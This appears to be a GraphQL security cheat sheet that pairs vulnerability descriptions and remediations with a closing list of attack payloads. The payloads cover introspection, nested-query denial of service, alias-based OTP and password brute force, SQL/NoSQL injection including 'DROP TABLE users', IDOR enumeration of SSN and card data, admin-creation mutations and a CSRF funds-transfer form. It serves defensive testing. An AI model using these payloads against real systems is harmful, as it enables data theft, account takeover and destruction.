GraphQL
Attack Surface
A single endpoint that exposes your entire data graph. One misconfiguration and the whole schema is yours.
/.well-known/ and JS bundles for endpoint strings.Description
Resolvers fetch objects by ID passed in the query. Without ownership checks, any authenticated user can request any user's data by enumerating IDs.
Impact
- Unauthorized read or modification of any user's data
- Account takeover via email/password mutation of another user
- PII / financial data exposure (SSN, credit cards, addresses)
- Privilege escalation by accessing admin objects
Remediation
- Validate object ownership inside every resolver, not at the route level
- Use opaque, non-sequential IDs (UUIDs v4)
- Apply explicit field-level authorization libraries (e.g. graphql-shield)
- Default-deny: require explicit permission grants per field
Description
GraphQL arguments are strings passed to resolvers. If not parameterized before being used in queries, SQL/NoSQL injection is possible — the GraphQL layer provides no automatic sanitization.
Impact
- Full database compromise and exfiltration
- Authentication bypass (WHERE 1=1 patterns)
- Remote code execution via xp_cmdshell or MongoDB $where
- Data destruction
Remediation
- Use parameterized queries / prepared statements — never string interpolation
- Use an ORM with built-in escaping
- Validate and allowlist input types per argument
- Apply WAF rules tuned for GraphQL argument patterns
Description
Developers sometimes add auth middleware at the HTTP route level but forget per-resolver checks. Queries or mutations may be reachable without any token or session.
Impact
- Data exfiltration without logging in
- Admin mutations callable by unauthenticated users
- Mass user account manipulation
Remediation
- Enforce auth at the resolver middleware layer — not just at the HTTP layer
- Default-deny: all operations require authentication unless explicitly marked public
- During testing: replay every request with no Authorization header
Description
GraphQL resolvers can be chained into deeply nested queries. Without depth/complexity limits, a single request can trigger N+1 queries to the database, causing CPU and memory exhaustion.
Impact
- Server crash or OOM kill
- Service degradation for all users
- Database overload cascade
Remediation
- Enforce maximum query depth (5–10 levels)
- Implement query complexity scoring with a budget cap
- Set resolver timeouts
- Use DataLoader to batch and deduplicate DB calls
- Rate limit by operation, not by HTTP request
Description
GraphQL supports multipart file uploads. Without server-side validation, attackers can upload PHP/ASPX webshells, SVG files with embedded XSS, or oversized files for DoS.
Impact
- Remote code execution via webshell execution
- Stored XSS via malicious SVG
- DoS via zip bombs or oversized uploads
Remediation
- Validate file type by magic bytes — not just Content-Type or extension
- Enforce maximum file size
- Store uploads outside the web root with randomized names
- Scan for malware before persisting
Description
Introspection is a built-in GraphQL feature that returns the entire schema — all types, fields, queries, and mutations. Enabled by default in most frameworks, it gives attackers a complete API blueprint without any authentication.
Impact
- Complete API map for targeted exploitation
- Discovery of hidden admin queries and sensitive fields
- Accelerates all other attack phases
Remediation
- Disable introspection in production environments
- Allow only for authenticated admins if internal tooling needs it
- Use persisted queries or operation allowlisting
Description
GraphQL aliases allow the same field to be called many times with different arguments in a single HTTP request. Rate limiting at the HTTP layer counts this as one request, so an attacker can test thousands of OTPs or passwords in a single call.
Impact
- OTP/2FA enumeration (10,000 codes in one request)
- Password brute force without triggering lockouts
- Resource amplification DoS
Remediation
- Rate limit per operation execution — not per HTTP request
- Limit alias count per query (max 3–5)
- Disable batching or limit batch array size to 1–5
- Implement account lockout at the application layer
Description
If mutations are accepted via GET requests or via POST with Content-Type: text/plain (or form-encoded), attackers can trigger them from a malicious page in the victim's authenticated session.
Impact
- Unauthorized mutation execution as victim
- Account changes (email, password, payment info)
- Data deletion or exfiltration
Remediation
- Accept mutations only via POST with Content-Type: application/json
- Implement CSRF tokens and validate Origin / Referer headers
- Reject non-JSON content types for mutation endpoints
Description
GraphQL errors often include full stack traces, database query details, internal file paths, and type/field names in development mode — sometimes left on in production.
Impact
- Database engine and schema revealed
- Internal server paths and framework versions exposed
- Aids targeted injection and path traversal attacks
Remediation
- Return only generic error messages in production (custom error formatter)
- Log detailed errors server-side only
- Strip
extensions.exceptionfrom production responses
Description
Even with introspection disabled, Apollo and graphql-js respond to typos with "Did you mean X?" messages — revealing real field names. This enables full schema enumeration without introspection permissions.
Impact
- Schema enumeration bypass when introspection is disabled
- Discovery of hidden, internal, or sensitive field names
Remediation
- Disable field suggestions in production (
Apollo: fieldSuggestions: false) - Return only generic "unknown field" errors
- Consider using Clairvoyance tool to test enumeration before deployment
{ __schema { types { name fields { name } } } }
query IntrospectionQuery {
__schema {
queryType { name }
mutationType { name }
subscriptionType { name }
types {
name
kind
description
fields {
name
description
type { name kind ofType { name kind } }
args { name type { name kind } }
}
}
directives { name locations }
}
}
# Send typo — look for "Did you mean X?" in error response
{ users { passwodr } }
{ users { emaill } }
{ user(id: "1") { admmmin } }
# Also try __type even when __schema is blocked
{ __type(name: "User") { fields { name } } }
{ user { friends { friends { friends { friends {
friends { friends { friends { friends {
name email phoneNumber
} } } } } } } } }
fragment A on User { friends { ...B } }
fragment B on User { friends { ...A } }
{ user(id: "1") { ...A } }
{ users(ids: [1,2,3,4,5,6,7,8,9,10,
...1000 IDs...
]) { name email } }
{
a0001: verifyOTP(otp: "0001") { success token }
a0002: verifyOTP(otp: "0002") { success token }
a0003: verifyOTP(otp: "0003") { success token }
...
a9999: verifyOTP(otp: "9999") { success token }
}
{
a1: login(email: "victim@corp.com", password: "Password1!") { token }
a2: login(email: "victim@corp.com", password: "Summer2024!") { token }
a3: login(email: "victim@corp.com", password: "Welcome123") { token }
}
[
{"query": "{ user(id: \"1\") { email } }"},
{"query": "{ user(id: \"2\") { email } }"},
{"query": "{ user(id: \"3\") { email } }"}
]
{ user(id: "1 OR 1=1--") { name email password } }
{ user(id: "1; DROP TABLE users--") { name } }
{ search(q: "' UNION SELECT 1,username,password,4 FROM users--") { results } }
{ login(username: "admin'--", password: "x") { token } }
{ login(username: {$gt: ""}, password: {$gt: ""}) { token } }
{ user(filter: {username: {$regex: "admin"}}) { email password } }
{ find(where: {password: {$ne: "wrongpassword"}}) { users { email } } }
mutation {
updateProfile(bio: "{{7*7}}") { bio }
}
# Check if response contains "49" → SSTI confirmed
# Logged in as user ID 42, enumerate other users:
{ user(id: "1") { email phone ssn creditCard } }
{ user(id: "2") { email phone ssn creditCard } }
{ order(id: "1001") { total items card { last4 cvv } } }
{ invoice(id: "500") { amount recipient bankAccount } }
mutation {
deleteUser(id: "5") { success }
}
mutation {
updateAdminEmail(email: "attacker@evil.com") { success }
}
mutation {
createAdmin(username: "pwned", password: "pwned123") { id token }
}
GET /graphql?query=mutation{deleteAccount{success}} HTTP/1.1
Host: target.com
Cookie: session=victim_session_here
<form method="POST" action="https://target.com/graphql">
<input name='{"query":"mutation{transferFunds(to:\"attacker\",amount:9999){success}}","variables":null}' value='' />
<input type="submit" />
</form>
Comments
Post a Comment